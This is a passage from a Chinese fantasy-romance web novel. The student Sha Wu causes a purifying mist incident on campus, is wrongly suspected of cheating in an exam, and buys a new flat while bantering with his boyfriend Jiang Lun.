他感觉自己仿佛游弋在一片沼泽中，明明看着是一片泽国，但大部分地方的水位都很浅，让他有一种隐隐的窒息感，仿佛一瞬间又回到了孤儿院的集体宿舍内。 他必须和六到八个人睡一个十几平米的单间，没有私人空间，没有隐私，相互之间表面看着都是好兄弟，背地里为了一点点蝇头小利就能相互使绊子。 在真正遇到事情之前，他都不知道人类为了一包饼干、一次考试成绩，在对付同类上，能够有如此丰富的想象力和强大的执行力。 他越想越气。 星空中孱弱的虚影散发出一层薄雾，构筑出一条体型更加巨大凝实的鲨鱼。 他的眼神凶狠，牙齿尖锐，身体强壮，拦在面前的浪潮和暗涌都不能成为他的阻碍。 他奋力冲破狭窄航道，将混乱的浪涌指引向确切的方向，让它们顺从、安静。 整片海洋都是他驰骋的疆场。 所有的星空都在照耀他的前路。 他清楚知道自己这么想有些中二，但……他就是这么想的，怎么滴！ 有种来咬他啊！ 白色雾气取代了水系异能的蓝光，笼罩住冥想中的沙伍。 攀爬在外墙上的紫白双色月季，在冬日里只剩下光秃秃的枝条，窸窸窣窣爬进窗口，目标明确直奔沙伍。 夜鹭一个眼神扫过去。 双色月季顿时停下，但也不愿意离开。 教室门外，阿大和一位值班的家庭医生，占据了教室的前门和后门。 今天周末，宿舍里的其他人都去了新宿舍干活，现在就只有他们几个在，连小粉猫都被带走了。 白雾弥漫。 位于最中心的沙伍的身形已经几乎看不清楚。 夜鹭舒展地伸长了脖子，拍打了一下翅膀。 这么大的动作，却一点都没有扰动白雾。 白雾渐渐笼罩住整个庞大的宿舍。 有路过的学生驻足，奇怪地拍了张照片发学校论坛：“今天怎么起雾了？” 姜纶在共工大学算是个知名人物，谁都知道姜家小少爷在青龙学院读书。 但是他低调到甚至不去上课，学校里大部分人都不知道姜纶具体长什么样。 唯一全校都知道的是他住的犹如城堡一样的宿舍。 不管是出于好奇还是其他的心思，这栋宿舍楼已经成为了共工大学学生们的打卡点之一。 刚开学的时候，来的人还挺多的，现在人已经越来越少了，不过这个时间段还是有七八个人驻足。 “现在才下午两点。”就算晚上要起雾，也不该是在刚过正午的时候吧？ 他们交头接耳地讨论着。 都是普通学生，他们并没有意识到这种白雾是异能的表现之一，纷纷打开了视频录像，有两个还开起了直播。 在直播镜头下，刚才还犹如什么电影画面一般的漂亮庭院，突然动了起来。 确切地说是庭院内的植物动了起来。 哪怕是变异植物，绝大多数也遵从了自然规律。 1月份的庭院内草坪枯黄，树木凋零，连一些常绿树木都显出几分沧桑。 当然，他们通常也是不能自主移动的。 但现在，无数奇形怪状的“藤蔓”从地底钻出。 高大的绿篱把自己从土壤里拔起来，七歪八倒偏还跑得飞快，留下一扇装饰性大于实际功能的大门孤零零坚守岗位。 “卧槽！” “什么情况？” 学生们刚想跑，却发现一条条奇形怪状的鱼正从不远处的河道里飞出来。 眼看着鱼群要撞上，蓝色长发的大帅哥突然出现，一抬手把一群学生裹挟着带出了青龙学院：“好了，你们乖乖待在外面，暂时不要进青龙学院。” 学生们惊魂未定，想要道谢，却发现大帅哥已经消失不见。 “那个白雾到底是什么？” “大概是什么异能之类的吧？毕竟是青龙学院。” “我以为异能不是那种跑的特别快、力气特别大的，就是那种魔法师一样招手一个火球一个冰锥的。雾能有什么杀伤力？” “也许是让人迷路？” “产生幻觉？” “不是。什么幻觉能让鱼在天上飞？” “所以说是幻觉！” 校园论坛里全在八卦。 青龙学院却没人出来解释。 大部分的师生都明显表现出谨慎。 什么样的异能都有可能存在，贸然接近是很要不得的事情。 当然总有好奇心特别强的人，想方设法近距离探查，被学院保安队全都抓起来，暂时看守起来。 保安队长手上提着一个学生，手上一甩就把人丢进一个异能物品构筑的笼子里。 这样的学生，笼子里已经有十几个。 他们待在里面也不害怕，站在边边跟保安队各种套近乎，一口一个哥哥姐姐地叫，一会儿请吃零食一会儿肚子疼要上厕所。 保安队长满脸烦躁：“不知死活。不知道是什么就敢往里面冲。” 学生们嬉皮笑脸：“在学校里能有什么危险？” “对啊，哥哥姐姐们这么厉害。” 保安队长冷笑：“没看到那么多变异生物的反常情况？就你们现在的水平，一棵变异柠檬就能把你们滋成汤汤水水，根本等不及人来救。” “现在哪来的变异柠檬？” “对啊，现在变异柠檬早就摘完了。” 一名保安又抓来了一个学生，把人关起来了之后才问道：“你们知道那里住着的是姜家的小少爷吧？” 学生们异口同声：“知道。” 保安都不知道该怎么说他们：“我想你们大概不清楚姜家牛逼到什么程度。” 学生们：“很有钱！” 学生们：“很有权！” 学生们：“强者如云！” 保安队长一闪身离开，没一会儿又抓了一个学生关进去：“打理他们家庭院的园丁，是个八级木系。你们能够看到的庭院里的任何一棵活的植物，都是他种植的变异植物。随便一棵都能把你们变成花肥，知道吗？” 学生们噤若寒蝉。 “知道的。” 保安们看向唯一一个说话的：“你确定你知道？” 少年个子不高，身材偏瘦，一看年纪就很小，大眼睛里全是清澈：“知道啊。”他还知道里面还有八级变异植物呢。 “那你还有胆子过来？” 小丑鱼挠头：“可是我约好了下午过来的。” 临近期末，他妈妈刚好到青龙城出差，准备等他考完试一起回家，来的时候带了一些礼物，准备送给经常照顾他的沙伍。 顺便，他想蹭一下院长的冥想课。 本来吃过午饭就该过来的，没想到中午跟他妈一起胡吃海塞吃坏了肚子，这才晚了点。 “约？” 小丑鱼看了看正在弥漫过来的白雾，感受了一下其中的气息：“我发个消息问问。” 说着，他打开手环联系沙伍。 光屏对面出现的是一只趴窝的黑蛋。 黑蛋竖起两根白毛。 “院长？” 自家学院的院长，大家都认识。 白毛黑蛋那边的雾气更浓，犹如流云瀑布，像是影视剧里的仙宫一样。 就是夜鹭COS不了仙鹤。 幼年版仙鹤也不行，气质不对。 “你们这是干嘛呢？” 保安队长出现在视频内，不知道该做什么表情，只能面无表情：“院长，您能不能解释一下不明出现的白雾是什么情况？现在方圆五公里内的变异生物都异常活跃。”顿了顿，他举了个表示事情严重性的具体例证，“绿篱都跑了。” 夜鹭依旧不紧不慢道：“哦，没事。学生咬破了一颗净化系晶核，应该都是过来蹭净化的。” 通话结束，保安队的人都不知道该怎么想。 小丑鱼举手：“我可以进去找我同学了吗？咬晶核的我知道，他这么干不是第一次了。” 小鲨鱼啥都咬，凶得要命。 “净化系晶核也咬吗？” “我都没见过净化系晶核长什么样。” “能造成这个效果，得是多大的晶核？” “姜家小少爷的实力……财力？” 小丑鱼看着周围的人纷纷揣测，不知道该不该解释，该怎么解释，最后只能沉默。 作为净化者，他感觉净化系晶核也没那么罕见，怎么可能没见过？ 净化系变异生物就有很大概率开出对应的晶核。 元旦假期那次他们全班聚餐，就从生蚝和一些其它贝类里吃出几颗净化系晶核。 哦，能达成这个效果的，确实罕见。 有保安问自家队长：“我们能不能趁机练习一下污染值释放？正好眼前就是现成的净化。” 保安队长看着自作聪明的下属：“能蹭净化，院长早就通知人来了。周围那么多变异生物没看见？你能在这种环境下，保持冷静练习污染值释放？别被这些生物逼得拉不回来。” 和等级很低的学生们压根无法辨识庭院内的危险性不一样，作为青龙学院的保安，他们的个体实力五级起步，队长八级，能够感受到庭院内现在混乱的异能气息。 现在确实很平静，但谁也不确定这种平静什么时候被打破。 他们也没有太紧张，毕竟院长就在里面。 天塌了有高个子顶着，怎么也轮不到他们。 小丑鱼完全不紧张，看了看眼前的情况申请：“那要不我先回宿舍？” 不能蹭课，他找妈妈蹭饭去。 反正他不想吃食堂的饭，难吃还掉SAN。 保安做了个让他安静的手势：“现在这情况，你还是安静待在这儿，等晚点我们送你回去。” 小丑鱼无奈同意：“好吧。” 给沙伍记一笔，回头让他给自己整点虾啊生蚝啥的。 上次班长获赔的大虾，可馋死他了。 要不让沙伍带着他去污染区捕鱼？他一条小丑鱼出远门有点害怕。 还是算了，可能……一定会被姜纶针对。 小少爷小心眼极了。 小丑鱼哪里都去不了，打开光屏开始学习。 他是需要读医学的人，学业压力不是普通人能够想象。 一旦沉迷学习，就失去了对外界的感知。 “怎么把孩子们都关起来了？” 突然听到一道声音，小丑鱼吓得差点把没保存的光屏给关了，大冬天的冷汗都流了下来，赶紧保存。 “花杨蓉，你不是下午要过来跟小鲨鱼一起上课吗？” 小丑鱼抬头，看到笼子外面站着姜纶一行人，没好气道：“问你家小鲨鱼去，没事搞出这么大的阵仗。” “哦，我去问问。”姜纶说着，就跟着前后左右的一群衣冠楚楚的仆从们进入庭院，很快就消失在浓雾中。 唯一留下来的梁管家对着破破烂烂的地面叹气。 天天拆家，天天拆家！ 先前拆房子，现在拆院子！ 他看了看院子里的一群奇奇怪怪的变异生物，只觉得头痛欲裂。 院子里的情况除了破烂了一点，倒是没有保安队想象中那么糟糕。 大量的变异生物全都挤在院子里，进不去宿舍里面。 没有什么结界的阻挡，高阶异能者的能量场自然阻挡它们的进一步接近。 距离房子最近的，是形态正在不断在鲛人和人类之间快速转变的潘辰星。 “潘老师。” 潘辰星回头看到一群人，带了点拘谨地让开到一边：“姜同学。” 难得有那么浓郁的净化能量，他想借此机会放心练习一下释放污染值，没想到净化能量太强了，污染值刚释放出来一点就被净化掉。 一下午的时间，他非但没能摸到极限，连一点点污染都释放不了，反而把自己的异能消耗了个七七八八，感觉身体被掏空。 姜纶吩咐：“小风，先把潘老师送去医院检查一下。” “是。”小风的声音刚落下，人已经带着潘辰星消失在原地。 “剩下的人把院子里的东西都清一清。”吩咐完，姜纶才走进屋内。 这些白雾可不是单纯的净化能量，而是沙伍异能的本体。 姜纶对于这样的异能再喜欢不过，但对于其它变异生物和异能者，吞噬异能是很危险的。 也就是现在沙伍的异能低，不然他回来的时候怕不是一堆被吃干抹净的异能生物？ 姜纶走到四楼教室，抬手就把家庭医生、阿大和双色月季一起扔了出去。 剩下一只蓝背大蟑螂……算了，打不过。 “您看着他们这样也不阻止？” 夜鹭滚圆一只窝在课桌上，闻言只是头毛动了动：“为什么要阻止？沙伍这点能量也就是给他们净化掉一点污染，反正他们现在还驾驭不了，净化掉就净化掉了。正好沙伍冲一级的能量有点不够，补充一点是一点。” 姜纶坐到沙伍身边，伸手覆盖在沙伍的手背上。 早就已经习惯双修的能量彼此无比熟悉，金龙瞬间被接纳，出现在星空中。 平时看起来互不关联的星星之间有了明显的联系，白色河流在期间流淌。 “潮头”的位置，鲨鱼身上的白雾正在不断消散，但他依旧在奋勇向前，速度飞快地直扑第九星系。 鲨鱼的尾巴已经消失。 最弱小的第九星系需要的能量最多。 包裹着鲨鱼的白雾飞快消散，露出其中一点点大的小鲨鱼。 金龙忍着没上前，看着小鲨鱼绕着第九星系转圈。 他游得很艰难，犹如在浅滩搁浅，在泥泞中给自己开拓出一条通往星辰大海的通途。 终于，在鲨鱼彻底消散前的一刻，他贯通了整条河流。 白色的涌泉冒出，填补干枯的河道。 纤细的河流首尾相连，欢脱的小鲨鱼犹如海豚一样高高跃起，张开翅尖在星空飞翔，一嘴筒子杵到在一旁盘旋的金龙腰眼上。 看金龙猛得凹了一下身段，小鲨鱼开心地摇头摆尾，一下跃过去，又一下跃过来，最后趴在金龙的脑袋上，让长长的鬃毛淹没自己，像是躲藏在海草丛中一样。 金龙由着他闹腾了一会儿，才裹挟着小鲨鱼重新沿着河流来回游了两圈。 几乎覆盖住整个宿舍的白雾快速收缩，直至消失。 沙伍睁开眼睛，还没看清楚周围，就伸了个大大的懒腰，转头就往姜纶脖子上轻轻咬了一口：“我果然超厉害！我是最棒的！” 姜纶猝不及防，呼吸都劈叉了，不知道该把沙伍拉开，还是把夜鹭丢出去。 夜鹭看着他。 姜纶：“……” 姜纶选择一把抱起沙伍，冲到房间，在把人摁住了亲还是放到床上摁住了亲之间，选择了直接跳楼。 夜鹭抬起爪子挠挠脖子：“这就一级了，还行吧。” 第59章 心虚 姜纶是带沙伍去医院做体检。 沙伍乖乖被姜纶塞进飞车里，完全不理解：“做个体检为什么要跳楼？” 不一样要坐飞车过去？ 跳楼能节约等车的时间吗？ 姜纶恼羞成怒，恨不得把沙伍的嘴堵上：“明知故问。” 他对沙伍的心思已经一忍再忍，现在沙伍的能力提升，应该身体方面也可以了吧？ 他内心是这么渴望的，但不放心自己的判断，需要医生出诊断报告才能放心。 沙伍无所畏惧，在自己眼睛上比划了一下：“两眼都冒绿光了。”就着姜纶圈住他腰的力气，他干脆侧坐到姜纶腿上，看着他往后仰的脑袋，嘿嘿嘿笑着上去MUA了一口，“还不行哦。” 说完，他就更改了飞车的目的地，改去青龙城里。 就知道坏黄毛的脑子里想的都是一样的事情。 可为了这个事情跑去问医生什么的，他伍哥的面子还要不要？ 伍哥也是会害羞的好嘛。 姜纶又气又泄气，恨恨把人抱紧：“什么时候才可以？” 他都怀疑自己是怎么忍住的，更怀疑自己还能忍多久。 最喜欢的食物就放在眼前，明明看得见摸得着，偏偏不让吃，是何等的残忍？ 沙伍不想吗？ 沙伍也想的：“我有在努力学习，努力锻炼。” 但大概是因为身体真的不好，加上最近学业格外繁重，他对这件事情倒是没那么执着，起码不像姜纶这样一点就炸。 姜纶听着他靠在自己怀里，软软地说着话，感觉心底跟被小猫挠似的，又怕自己控制不好，既不想跟沙伍分开，又连亲都不敢亲一下：“你说点别的什么，转移一下我的注意力。” 他现在满脑子都是把小鲨鱼这样吃那样吃，换着花样吃。 别的事情想不了一点。 沙伍脑子里杂七杂八的事情倒是很多，挑了一件出来说：“我跟沙妈妈一起过年。” “哦。应该的。”姜纶感觉不是个事。 沙伍挑眉，仔细说明：“沙妈妈考上青龙城环卫局的编制了。下个月入职，宿舍已经分配好了。” 姜纶一团浆糊的脑子过了一会儿才琢磨明白：“不行。你得跟我在一起。我们得在一起。”不要有别人。 他这时候脑子几乎没有，说出口的都是自己内心最真实的想法。 他皱着眉头，认真看着沙伍。 沙伍跟他四目相对，微微眯起眼睛：“哦。” “哦是什么意思？”姜纶想要一个肯定的答复，心里面那种和小鲨鱼一起待在岛上的想法冒了出来。 他不自觉咽了咽口水，看向沙伍的眼神逐渐变得幽暗。 不能是生蚝岛，那里知道的人太多了。 夜鹭、海豹和独角兽，起码有三个人。 他准备的战队小岛更加符合他的想法。 那边只有他知道，气候更温暖。 正好天冷了，他可以和小鲨鱼一起去那边过冬。 那边有漂亮的珊瑚礁，五颜六色的鱼群和海葵，小鲨鱼一定会喜欢的。 那边也比生蚝岛地方大，周围还没有别的有人的岛屿，只有他和沙伍两个人。 他可以在岛上造一个很深的山洞，把小鲨鱼藏在里面。 藏起来，谁都不让看见。 沙伍突然扯开他的衣领，凑上去嗅了嗅：“你想什么呢？怎么污染都冒出来了？” 白色雾气薄薄一层覆盖在姜纶身上，吞噬着比起以往更加香甜醉人的气息。 沙伍一边给姜纶净化，一边说着：“沙妈妈的治疗结束了。她刚搬到青龙城，我们几个养子女都会过来跟她一起过年。我想大年三十的时候中午过来跟他们一起吃饭，下午再走。你在后土城应该有很多事情？要是事情不多的话，我想过年的时候，在青龙城多待两天？” 沙伍絮絮叨叨说着自己还很粗浅的假期安排，姜纶的脑子一点点接收到他话里的信息，慢慢冷静下来，埋头在两颊酡红的沙伍颈窝深呼吸一口气：“抱歉，我不该这么想，不可以这么想。” 沙伍只觉得自己眼皮子很重，努力睁开眼睛，声音含糊：“随便想，怎么想都行。” 他的钻石小少爷就是好吃，口味还极富层次感，时时刻刻都能给他带来极致的味觉体验。 真想把钻石小少爷藏起来，只有他一个人可以吃到。 慢慢来吧，先在生蚝岛过渡一下，然后再看看姜纶说的建设战队的岛怎么样。 不行的话，他就自己圈一块地盘。 他当然有能力圈住一条龙。 “你就哄我吧。”姜纶察觉到一丝熟悉的异能波动，低头看怀里的沙伍，喃喃，“这么快就睡着了？做梦了？” 小朋鲨吃饱了就睡，睡醒了就踮起脚尖做人。 梁管家给出门上学的沙伍递上保温饭盒：“这几天就去食堂吃饭，家里院子得整修一下。” 至于为什么整修，长眼睛的人都看得到。 沙伍缩着脖子耸着肩膀，一副偷感很重的样子跟梁管家道别：“梁伯伯，再见。”坐上小飞车又下车过来低头道歉，“对不起，我不是故意的。” 梁管家轻轻在他后背拍了一巴掌：“行了。抬头挺胸！不要学你们院长天天缩着个脖子。” 沙伍立刻像是在军训时候一样挺直后背，心虚地不敢看坑坑洼洼的院子。 原本长满了植物的地面这会儿所有变异植物都已经归位，其实看着倒是还好。 薛春叫来了几个木系的老师，一起排查有没有什么奇怪的变异生物混在里面，就怕万一将来造成不必要的危险。 很多植物种子在低温下，“潜伏”的时间和隐蔽性，超出常人的想象。 这是一份工作量巨大且极其耗神的活。 原先硬化的地面，全都已经不成样子了。 中间能够当临时飞机跑道的路面像是经历了一场大战，原本平整宽阔的路面，像是被揉烂撕碎四处丢弃的纸屑。 喷泉池什么的，之前容纳了大量的“飞鱼”，更是不能幸免。 漂亮的庭院变成了遗迹。 沙伍带着心虚，考试答卷的时候继续保持着偷感。 装装样子的监考老师都不由得多看了沙伍好几眼。 下午的考试，监考老师直接站在沙伍面前，盯着他做完卷子提交。 这种理论科目的考试，分数是即时出来的。 监考老师看着上面的满分，硬是让沙伍留下，直接把人送到检测室，重新把人刷了一遍。 说白了，就是怀疑沙伍作弊了。 检测室和医院的隔离室差不多。 区别是隔离室至少有张椅子坐，检测室没有。 学生进入考室之前，需要把手环和随身物品寄存，通过一道检测门，一般能够杜绝99%的作弊手段。 但科技年年都在进步，对应的作弊手段也是每年都推陈出新。 青龙学院这样的地方，这些有异能的学生，读书可能不一定百分百用心，但要把脑筋动到作弊上，那叫一个花样百出。 沙伍也不解释，任由他们检查，最后还非得再做了一套备用卷，同样考了满分才被放走。 监考老师和几个同事一起送他出充作考场的教学楼，满心不解：“你没作弊，心虚什么？” 这时候教学楼已经几乎没有人了。 有些专业的学生考试时间早，已经陆续离校。 没人的学校很空旷，加上天已经有点暗了下来，有一种恐怖的氛围。 久等不到沙伍回宿舍的姜纶过来接人，见沙伍被几个监考老师围着，快步过去，琢磨着是不是小朋鲨把考场拆了。 他虽然是内定的青龙学院的下一任院长，但要是考场秩序被扰乱到这种程度，他也没法让小朋鲨一点挂落都不吃。 他走到近前，就听沙伍低着头，小小声：“刚把宿舍给拆了……” 监考老师：“……拆……”拆宿舍这么大的动静，他怎么不知道？ 他刚想说，一抬头就看到姜纶。 和普通大学生一样的年纪，姜纶给人的感觉就特别不一样，还真不是衣着打扮的问题。 他没见过姜纶，不知道姜纶的长相，但很神奇的是一看到姜纶，就知道这位是姜家小少爷。 他马上想起来昨天姜家小少爷宿舍闹的那一出，现在校园论坛上各种猜测都有，根本不知道真假。 比较重合的一点是有人没事咬打火机（晶核）了。 至于干这个事情的人是谁，揣测多种多样。 比较多的猜想是姜纶，毕竟事发地是姜纶的宿舍，感觉除了姜纶也没有别人了。 但很快有人提出不同意见，姜纶作为一个没有异能的普通人，怎么可能破坏得了晶核？ 要知道晶核的硬度是很高的。 哪怕作为宝石使用，普通宝石需要进行切割等加工手段，晶核都是保持原本的外形。 不是姜纶，还能是谁呢？ 姜家小少爷宿舍里伺候的仆从们，虽然大家都不了解，但肯定不是什么简单人物，应该不至于犯下咬晶核的低级错误。 在事件刚开始发生的时候，倒是有人提了一嘴沙伍，没说具体名字，只说了是姜纶的室友。 但这个事实很快就被说成是瞎说的。 姜家小少爷是什么身份，怎么可能和别人合住？ 知道内情的学生们见说了不听，自己还忙着考试，也就没再多逼逼。 算了，人只相信自己愿意相信的。 监考老师之前也是保持着是姜纶闯的祸。 姜纶是个没有异能的普通人又怎么样？ 他有的是资源能够搞到运用异能的物品。 他甚至暗搓搓怀疑，咬晶核的说法都是编出来的，毕竟太离谱；更大的可能性是，姜家在这位小少爷身上做实验，好让他获得异能。 或许就是因为姜家小少爷在被做实验，所以才不方便出现在人前，和普通学生一样上学。 毕竟姜家小少爷真的不想上学，那来青龙学院干嘛呢？ 当然，他只是在心里面想想，并没有说出来，也不觉得这种有权有势的人家的事情，会跟他有什么关系。 相较之下，他更加关心沙伍这么一个普通学生的情况。 所以，姜家小少爷真的有室友？ 哦，人家豪门有些亲戚朋友也正常。 他再看了看沙伍心虚中还圆圆的眼睛，只觉得小孩儿真是可爱又乖巧，明明是有钱人家的孩子，竟然还会因为搞了点小破坏而担心。 考试成绩也很好。 姜家小少爷简直就是典型反例。 平时上课不见人也就算了，现在考试还能缺考。 算了，有钱人的世界他是搞不明白。 沙伍总觉得背后监考老师的能量波动过于频繁，像是有人在不断碎碎念，有点像他们孤儿院里的几个上了年纪的大爷大妈，每次见面都能把人从头念到脚，路过一只猫都能叨出猫猫的八辈祖宗。 “喵~” 刚想到猫，小粉猫突然出现，身子一歪蹭到沙伍的脚踝上，然后化成藤蔓一路往上缠绕到他肩膀上，重新变成一只小猫咪，歪着脑袋蹭他脸颊。 一直注意着他们的监考老师在看到小粉猫的第一反应是，怎么给猫染色？ 然后是，小猫的声音也太难听了。 等小粉开始变形，他才脸色一变：“八、八、八……” 姜纶对监考老师们礼貌笑笑，看着已经空荡荡的考场，拉着沙伍离开：“老师们辛苦，我们先走了。” 监考老师们原地石化。 沙伍抱着猫坐上车，就拉着姜纶给自己参谋：“你说我得给家里人准备一些礼物？不知道我这么一下，梁伯他们要忙多久。”做错事就该道歉。 姜纶听他说“家里人”，想纠正他。 他想说梁伯他们可以是下属，可以是雇工，可以是战友，但不是家里人。 “不用送什么特别的礼物。你一定想送的话也行，只要你送的，他们都会喜欢。” 犹豫到了下车，他还是没开口。 他的小鲨鱼值得更多的家人。 “那我就按照我的想法去准备了，刚好在准备新年礼物。” 沙伍还真的找了一些人定制了礼物，赶在寒假前送了出去，送完就回房间开始收拾行李：“还好认识的人多，赶上了。不然得和新年礼物一起送了。” 姜纶跟进衣帽间，看着堆放在一个专门柜子里的还没送出去的新年礼物：“什么时候认识的这么多人？” 沙伍给他看自己的联系人分组，点开标注了手工组的一栏：“这几个是逛夜市的时候认识的美院那边的同学。这几个算是我的大客户？我平时不是会卖一些海鲜什么的，就认识了。这几个是军训的时候加的其他班级的同学。 手工圈子就这么大，知道我想要什么，就给我介绍了几个圈子里的大佬。 我也知道他们做的水平比不上那些真正专业的大佬，但时间和材料都有限，只能这样了。” 一部分新年礼物还没到货。 不过时间相对没那么赶，他可以报以更高的期待。 姜纶看着他长长的联系人列表：“平时不是很忙吗？还有时间跟这么多人联系？” 沙伍整理行李的动作停住，回头把坐在衣帽间沙发上的姜纶抱住：“吃醋啊？” 姜纶把沙伍夹在两腿间，仰头对视：“对啊。你要送我礼物安抚我。” 他也想要礼物。 “嘻嘻。”沙伍低头亲了亲他的脑门，“这样行不行？” “不行。敷衍。” 沙伍更加敷衍，直接一把按着姜纶的肩膀把人推开，转头继续去收拾行李。 姜纶扁嘴：“真的没有我的？” “哈哈哈。有的。”沙伍不再故意逗人，从自己的衣服口袋里掏出一个小巧的首饰盒。 姜纶的眼睛一下就瞪大了。 他的小鲨鱼突然向他求婚！ 答应他！ 马上就去登记！ 立刻！ 首饰盒打开，露出里面的一对龙角手环贴纸。 “漂亮吧~图样是我自己画的哦。”材料也是精挑细选的。 手环贴纸既要保证功能性，又不能影响手环，最好和手环融为一体，不给佩戴者造成任何别的负担。 生活在安全的城市环境中倒是没那么严苛的要求，但他们经常要去污染区，在和变异生物斗争的过程中，要是因为手环贴纸翘起一个边角挂树上这样的原因丢了命，那多冤啊。 沙伍没听到姜纶的回应，抬头看到一张面无表情的脸：“不喜欢？” 姜纶的手指轻轻抚过手环贴纸：“没有不喜欢。”他怕沙伍误会，哪怕有些不好意思，还是解释道，“你拿个首饰盒出来，我还以为是结婚戒指。” 沙伍思维断裂了几秒钟：“啊？我们不是才刚谈恋爱？” 难道他中了什么时间异能，一下错过了好几年？ 姜纶抗议：“什么才刚谈恋爱？我们已经谈了好几个月了！” 双方家长都见过了。 结婚是很顺理成章的事情。 哦，他爸妈还没见过小鲨鱼，等这次过年的。 沙伍都搞不明白姜纶为什么这么着急结婚：“才大一呢，你着什么急？” 今天上午考完了最后一门课，算是正式开始寒假。 本来按照计划，他该跟姜纶一起去后土城，没想到沙叁给他找到了一栋合适的房子，很适合作为他们一家团聚的地点，一会儿得去办理过户。 这种大宗财产交易，必须得本人到场。 环卫局确实提供员工宿舍，但是那宿舍的格局跟沙妈妈原先的房子差不多，顶多就是楼层好一点。 姜纶看他在衣帽间转了半天，行李箱里只有一只小粉猫：“让梁伯帮你收拾？” “不要。收拾个行李而已，我是熟练工好嘛。以前我在孤儿院的时候，隔两年就要搬一次宿舍，从东湖到青龙城也是我一个人搬家的。”他看着满满当当的衣帽间，想起自己刚到青龙城时候就一个包，“你们对我太好了。” 原来不是他会收拾，而是原先没什么可收拾的。 软饭真棒，好吃，爱吃！ 他回头看看姜纶，忍不住又过去亲了亲：“你对我最好了！” 姜纶来不及回亲，见他一转身又走开，生气地直接躺下。 沙伍掏了个小金龙布偶出来，给他盖住肚子，往行李箱里放了几身换洗衣服，又打开手环，看了看自己下单的快递到货的情况。 一条通讯请求进来，沙伍看了一眼人名，点了接通：“二姐。” 沙贰跟他相差7岁。 沙贰离开孤儿院出去打工的时候，沙伍小学都还没毕业。 她的身材很纤瘦，长相普通，眼睛里带着柔和的笑意：“小伍，考试考完了没？” “考完了。”今天上午考完了最后一门。 剩下的都是院长给他硬塞的课程，不用考试，反正也不会计入学分。 姜纶凑过去跟着打招呼：“二姐。” 沙贰脸上满是笑意：“小姜也在啊。你是不是要回后土城？” “是。”他后土城那边有事情要处理。 沙贰跟他随便寒暄了两句，就问沙伍：“小伍你一会儿过来，还是明天过来？你要是一会儿过来，我去给你买好菜做好了放厨房里。”或许是当初在孤儿院的时候没条件，沙贰对食物充满了热忱。哪怕条件有限，她也会琢磨各种食材和烹饪技巧。 “啊，不用麻烦了。我有饭吃。”他得吃祁大厨配好的营养餐。 他专门买了小型厨房机器，完全可以应付一般的家常菜。 沙贰今天特意请了年假，想过来帮沙伍收拾房子，结果到了之后发现没什么需要她干的。 房子并没有买在多高档的小区，而是距离环卫局很近的老城区的一栋老楼。 十几年房龄开发商统一精装的次新房，楼层不错，房东急卖，比市面上便宜了20万。 要不是面积大，总价不低，哪怕沙叁在做房产中介，这套房子也轮不到沙伍。 沙伍看了看行李箱：“那我带这些就行了。要是缺什么，我再回来拿。” 姜纶还想说什么，梁伯已经上来叫人：“小少爷，我们得出发了。” “马上就来。”姜纶说着，站起来抱了抱沙伍，很不敷衍地亲了一分钟，“抓紧时间办完事情就赶紧回家，不然我过来抓你。” 沙伍眨了眨眼睛：“那你来抓我。”好玩。 姜纶没好气地在他脖子上咬了一口：“我带钓鱼竿过来，把你钓走。” “噫~空军佬。”沙伍把人推出去，“快走快走。” 他跟着姜纶一起下楼，全宿舍的人都准备离开，站在门口都用一种很不放心的眼神看着沙伍。 “小伍一个人没事吧？” “要不我还是留下来陪小伍吧？” 沙伍呲牙：“我没有要留下来，马上就走了。你们赶紧走吧，我都多大个人了。” 姜纶倒是没不放心，只是再三叮嘱：“那你新房子那边收拾完，早点回家。” 第60章 有房 听到姜纶让他回家的话，沙伍嘴角翘起：“知道啦！” 开心~ 虽说他现在自己买了房子，更不缺地方住，但房子是房子，和家还是不一样的。 沙伍好不容易目送他们离开，回头就把自己轻飘飘的行李箱放到小飞车上，货斗里已经装了一个小的保鲜柜，里面是祁大厨他们给他提前准备的几天的饭菜。 他开着自动驾驶直奔新房子。 单价8万，总价将近两千万的房子，在过去沙伍做梦都不敢想。 现在他把小飞车停放在露台上，走到这套复式两百多平米的房子里，竟然感觉还有些逼仄。 把行李箱交给家政机器人收拾，沙伍自己把食品保鲜柜搬下来，直接放到厨房预留的空位上。 在家里到处转了一圈，他喃喃自语：“好像没什么事情要做。” 他看了看时间，距离约的过户的时间还早，重新骑着小飞车出门，去周围转了一圈熟悉环境。 不得不说，老房子有老房子的好。 周边配套设施齐全，生活相当便利。 经过一个商场，看到一幅巨大的海报，上面圆滚滚的海豹举着一个圆滚滚的冰淇淋。 沙伍走不动道了。 “没人看见，我不说就没人知道。”反正这种普通食物没多少能量，不妨碍营养餐的效果。 沙伍做贼心虚地摸进店铺，偷感很重地在自动点餐机下单：“豹豹超大豪华套餐。”他咬咬牙，“再加一个豹豹冰淇淋火锅，大份。” “沙伍？” “嗷嗷嗷！”沙伍刚点完餐，听到别人叫自己名字，直接跳了起来，脸都白了，回头看见是小丑鱼，没好气道，“人吓人吓死人知不知道？” 小丑鱼的脸色并不比他好多少，抚着胸口骂骂咧咧：“你特么恶人先告状！我就叫你一声，你干嘛反应这么大？是不是想打架？” “来啊，打啊！”沙伍捋袖子。 小丑鱼顿时偃旗息鼓，但是输人不输阵：“滚蛋，谁跟你打架？有种你找学长学姐们去打！快，请我吃冰淇淋，不然我告诉姜纶！” 沙伍认栽：“啧，你要吃什么？”他突然指着一个图片，“这个浆果风暴和坚果风暴都长得很好看啊，要不你吃两个？” 小丑鱼看了看：“会不会太多了？” “不多吧。对了，你不是要回家吗？”沙伍难以抉择，直接下单了两份，还给小丑鱼配了保温袋。 小丑鱼也不拒绝：“下午两点的列车，吃个饭就走。” “蓉蓉，你买个冰淇淋这么久？还没买好吗？”一位穿着高跟鞋，长相和小丑鱼有五分相似的女士走了进来，“啊？遇到同学了？你好，我是花杨蓉的妈妈，想吃什么，阿姨请你吃。” 沙伍已经下单完了：“阿姨好，不用了。” 冰淇淋制作很快，机器人把冰淇淋送到沙伍手上。 花杨蓉妈妈本来还想请沙伍吃个饭，沙贰的通讯已经打了过来，提醒沙伍可以出发了。 花家母子一看沙伍还有事情，只能跟他道别。 沙伍冰淇淋一口没吃，先回家放冰箱，再去房产中介公司接了沙叁，一起赶往房地产交易中心。 沙叁坐在后座上：“你这车不错啊。”外表看着没什么，一上手就知道开起来有多丝滑。 “嗯。这车超级能装，主要是耐污染。”普通人日常生活其实用不上这种特殊耐污染工艺，不需要买这么贵的。 沙伍最近也算是慢慢搞清楚了一些物价，按照以前沙妈妈的工作，其实不用买这么贵的。 